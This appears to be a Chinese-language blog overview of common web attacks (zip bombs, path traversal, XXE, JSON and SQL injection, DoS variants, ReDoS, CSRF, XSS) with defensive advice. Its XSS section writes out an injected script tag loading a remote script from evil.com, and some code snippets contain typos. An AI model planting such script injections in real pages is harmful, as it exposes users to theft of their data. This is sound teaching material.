常見的Web攻擊.md

1.ZIP炸彈

zip炸彈就是一個高壓縮比的zip文件,它本身可能只有幾M或幾十M的大小,但是解壓縮之後會產生巨大的數據量,會解壓到幾十G的大小甚至更大,這種zip文件會對解壓縮的系統造成嚴重的資源負擔,影響目標系統業務甚至達到使系統崩潰的結果。

防範校驗,步驟如下:

  • 第一步,校驗ZIP壓縮包大小。
  • 第二步,校驗ZIP壓縮包解壓後的大小。

參考文檔:zip炸彈和跨目錄zip文件的構造

2.zip跨目錄

zip跨目錄與我們常見的跨目錄問題類似,都是使用../來進行相對路徑的目錄跨越,zip文件中攜帶含有../的文件,在解壓過程中這些文件名被解析成相對路徑,解壓後就會將這些文件傳遞到其他目錄。

3.XML攻擊

XXE的漏洞都是因爲對xml解析時允許引用外部實體,從而導致讀取任意文件、探測內網端口、攻擊內網網站、發起DoS拒絕服務攻擊、執行系統命令

如果根本不需要inline DOCTYPE聲明,可直接使用以下屬性將其完全禁用:

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

目的是爲了禁用xml中的inline DOCTYPE聲明,說白了就是禁用DTD,不允許將外部實體包含在傳入的 XML 文檔中,從而防止XML實體注入(XML External Entities攻擊,利用能夠在處理時動態構建文檔的 XML 功能,注入外部實體)。

參考文檔:

4.JSON 注入

JSON注入是指應用程序所解析的JSON數據來源於不可信賴的數據源,程序沒有對這些不可信賴的數據進行驗證、過濾,如果應用程序使用未經驗證的輸入構造 JSON,則可以更改 JSON 數據的語義。在相對理想的情況下,攻擊者可能會插入無關的元素,導致應用程序在解析 JSON數據時拋出異常。

String json = "{"\"specialchars\": \"~!@#$%^&*()_+{}:<>?`-=[];',./\"}";
5. SQL注入簡介

Sql 注入攻擊是通過將惡意的 Sql 查詢或添加語句插入到應用的輸入參數中,再在後臺 Sql 服務器上解析執行進行的攻擊,它目前黑客對數據庫進行攻擊的最常用手段之一。

6. DoS 拒絕服務攻擊 & DDoS 分佈式拒絕服務攻擊

拒絕服務攻擊(Denial-of-Service Attack)亦稱洪水攻擊,是一種網絡攻擊手法,其目的在於使目標電腦的網絡或系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。

分佈式拒絕服務攻擊(Distributed Denial-of-Service Attack),是使用網絡上兩個或兩個以上被攻陷的電腦作爲 “殭屍” 向特定的目標發動 “拒絕服務” 式攻擊。

DDoS攻擊可以具體分成兩種形式:

  • 帶寬消耗型攻擊
  • 資源消耗型攻擊

常見攻擊手段:

  • SYN洪水攻擊
    SYN洪水攻擊是利用TCP協議的缺陷,通過發送大量的半連接請求消耗資源,造成網絡擁塞甚至宕機以達到攻擊者不可告人的祕密。
  • IP欺騙
    這種攻擊同樣是利用TCP協議棧的漏洞,我們知道TCP協議有一個RST位用於連接出錯時的復位。這種攻擊利用IP欺騙,使得服務器將合法的用戶連接復位,影響正常用戶的使用。比如說現在有一個合法連接(172.111.222.123),攻擊者構造一個TCP數據報,僞裝自己的IP是172.111.222.123,並向服務器發送一個帶RST位的數據報。服務器接收到後會認爲該連接發生錯誤,將該連接從緩衝區中移除,所以正常用戶只能重新發起連接。
  • Land攻擊
    進行Land攻擊時,黑客特別打造一個源地址和目標地址都被設置成某一個服務器的SYN包,此舉將導致接受服務器向它自己的地址發送SYN-ACK消息,結果這個地址又發回ACK消息並創建一個空連接,每一個這樣的連接都將保留直到超時。大量的連接將嚴重影響服務器性能。
7. ReDoS 正則表達式拒絕服務攻擊

ReDoS(Regular expression Denial of Service)正則表達式拒絕服務攻擊。

開發人員使用了正則表達式來對用戶輸入的數據進行有效性校驗, 當編寫校驗的正則表達式存在缺陷或者不嚴謹時, 攻擊者可以構造特殊的字符串來大量消耗服務器的系統資源,造成服務器的服務中斷或停止。

防範手段

防範手段只是爲了降低風險而不能百分百消除 ReDoS 這種威脅。當然爲了避免這種威脅的最好手段是儘量減少正則在業務中的使用場景或者多做測試, 增加服務器的性能監控等。

  • 降低正則表達式的複雜度, 儘量少用分組
  • 嚴格限制用戶輸入的字符串長度(特定情況下)
  • 使用單元測試、fuzzing 測試保證安全
  • 使用靜態代碼分析工具, 如: sonar
  • 添加服務器性能監控系統, 如: zabbix

淺析ReDoS的原理與實踐

8.CSRF攻擊

CSRF(Cross Site Request Forgery)攻擊,即跨站請求僞造,是一種常見的Web攻擊。
攻擊者誘導受害者進入第三方網站,在第三方網站中,向被攻擊網站發送跨站請求。利用受害者在被攻擊網站已經獲取的註冊憑證,繞過後臺的用戶驗證,達到冒充用戶對被攻擊的網站執行某項操作的目的。

一個典型的CSRF攻擊有着如下的流程:

- 受害者登錄a.com,並保留了登錄憑證(Cookie)。
- 攻擊者引誘受害者訪問了b.com。
- b.com 向 a.com 發送了一個請求:a.com/act=xx。瀏覽器會…
- a.com接收到請求後,對請求進行驗證,並確認是受害者的憑證,誤以爲是受害者自己發送的請求。
- a.com以受害者的名義執行了act=xx。
- 攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者,讓a.com執行了自己定義的操作。

防範方法:

  • 對於POST請求使用驗證碼,這個方案可以完全杜絕CSRF攻擊,但驗證碼過多會使用戶體驗很差,所以可以對敏感操作加驗證碼。
  • 非GET請求中添加token,當客戶端請求頁面,服務器渲染頁面時給每個表單生成一個隨機數token,並且將token放置到session當中,然後將token發給客戶端(一般通過構造hidden表單)。下次客戶端提交請求時,token會隨着表單一起提交到服務器端。接收到請求後,服務器端會對token值進行驗證,判斷是否和session中的token值相等,如果不相等則拒絕訪問。
  • 同源檢測
    如何防止CSRF攻擊?
9.XSS漏洞

XSS(Cross Site Scripting),跨站腳本攻擊,爲了與層疊樣式表(一般意義上的CSS)區別開,將其縮寫爲XSS。
XSS的原理是黑客向Web頁面裏插入惡意可執行網頁腳本代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的腳本代碼會被執行,從而可以達到黑客盜取用戶信息或其他侵犯用戶安全隱私的目的。XSS漏洞主要分爲持久型XSS漏洞和非持久性XSS漏洞。

舉個例子:

原有的網站有個將數據庫中的數據顯示到頁面的上功能,document.write("data from server")。但如果服務器沒有驗證數據類型,直接接受任何數據時,攻擊者可以會將 <script src='http:bad-script.js'></scirpt>當做一個數據寫入數據庫。當其他用戶請求這個數據時,網站原有的腳本就會執行 document.write("<script src='http://www.evil.com/bad-script.js'></scirpt>"),這樣,便會執行 bad-script.js。如果攻擊者在這段第三方的腳本中寫入惡意腳本,那麼普通用戶便會受到攻擊。

解決方法:

  • 從客戶端和服務器端雙重驗證所有的輸入數據,這一般能阻擋大部分注入的腳本
  • 對所有的數據進行適當的編碼
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章